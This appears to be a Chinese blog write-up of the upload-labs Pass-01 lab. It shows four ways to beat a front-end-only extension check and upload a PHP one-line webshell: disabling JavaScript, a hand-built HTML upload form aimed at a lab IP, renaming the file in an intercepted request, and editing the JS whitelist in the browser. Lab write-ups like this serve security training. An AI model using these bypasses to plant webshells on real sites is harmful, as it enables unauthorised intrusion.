本次搭建upload-labs靶机进行File Upload测试
测试项目:Pass01[FE check]
测试介绍:此靶机主要练习 文件上传技能与代码审计技能
Pass01上传界面与源代码
直接进行1.php进行上传,直接会被拦截,其中1.php为一句话木马(未过狗)

方法1:禁用Javascript验证(以火狐浏览器为例)
首先进入高级设置页,浏览器中输入about:config

输入javascript关键字,将enabled选项设置为false,关闭javascript运行

再次选择1.php进行上传发现上传成功

尝试通过菜刀进行连接
方法2:本地构建Exp表单直接上传

代码如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1 style="text-align: center;">Upload-labs Pass01 Poc</h1>
<h3 style="text-align: right;">----by Sccc</h3>
<hr>
<form action="http://10.37.21.94:8080/Pass-01/index.php" method="post" enctype="multipart/form-data" style="text-align: center;">
<input type="file" name="upload_file" >
<input type="submit" name= "submit" value="上传POC">
</form>
</body>
</html>
完成表单提交页面的代码后,直接本地执行上传(为了区分第一种方法,因此改名为Pass01.php)

方法3:抓包更改后缀名来进行
由于本次上传仅仅是前端验证后缀名,所以可以直接将.php后缀名改为.jpg先通过前端验证

在数据包中篡改回后缀名为.php,即可成功上传

方法4:代码审计(在能够获取到源码的情况下)(也是个人误区,希望各位一些新手不要犯此错误)
由于前端Javascript代码可以直接在控制台进行调出所以,关键是php代码部分审计,结合前端的验证函数来进行共同绕过测试。

通过代码审计不难发现,前端使用白名单策略进行后缀名过滤筛选

通过代码审计不难发现,后端并未对上传进行限制,只是判定文件夹是否存在
下面的是我个人产生的误区:(对Javascript渲染不熟悉所导致)
个人此时合两边代码,不难发现,前端对name属性为upload_file的值进行验证。后端接受submit参数为POST提交,所以产生多种绕过思路就是在线编辑JavaScript代码,在allow_ext进行添加php后缀名
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//此处进行添加.php
var allow_ext = ".jpg|.png|.gif|.php";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
误区说明:因为Javascript在页面打开时,已经被渲染,相当于代码已经固化,所以即使通过F12在线进行编辑,依旧执行渲染后的代码。
为了能够实现这一点,我自己也是进行网上查找了一番资料,找到了一个比较靠谱的答案
Javascript F12无法执行原因以及如何进行覆盖执行
获得了三个答案,分别如下:
1.在sources菜单中直接修改js文件,复制粘贴到控制台运行;
2.在控制台对事件重新绑定方法,触发事件执行方法;
3.在文件的头部打断点,刷新页面,执行到断点处,再修改js内容,继续执行就会生效

此方法确实时重新执行了JavaScript代码,但是依旧没能够上传成功,原因有待研究,如果有大佬看到,希望予以解答,感激不尽
通过方法3的断点调试法进行尝试,发现是可以进行绕过。

对于js代码绕过其实可以除了对白名单变量最后添加.php的方法外,还可以对allow_ext.indexOf()函数的结果值篡改为非-1,还可以对提交的表单中的name属性进行篡改非upload_file,即可绕过验证等。
鸣谢:在处理控制台重新绑定方法测试失败后,询问了公司里的一些渗透测试大佬们,虽然大佬们提供了一些上传的绕过方法,但是我主要是对该问题为什么没能实现绕过原因没有搞清楚。
存在的疑问:此方法确实时重新执行了JavaScript代码,但是依旧没能够上传成功.
后记:本人能力有限,难免出现纰漏,若有疑问可进行留言;
鸣谢:Venustech ZZSRC群友疑问解答
第二篇:upload-labs(Pass02)
第三篇:upload-labs(Pass03)
第四篇(存在遗留问题):upload-labs(Pass04)
网友评论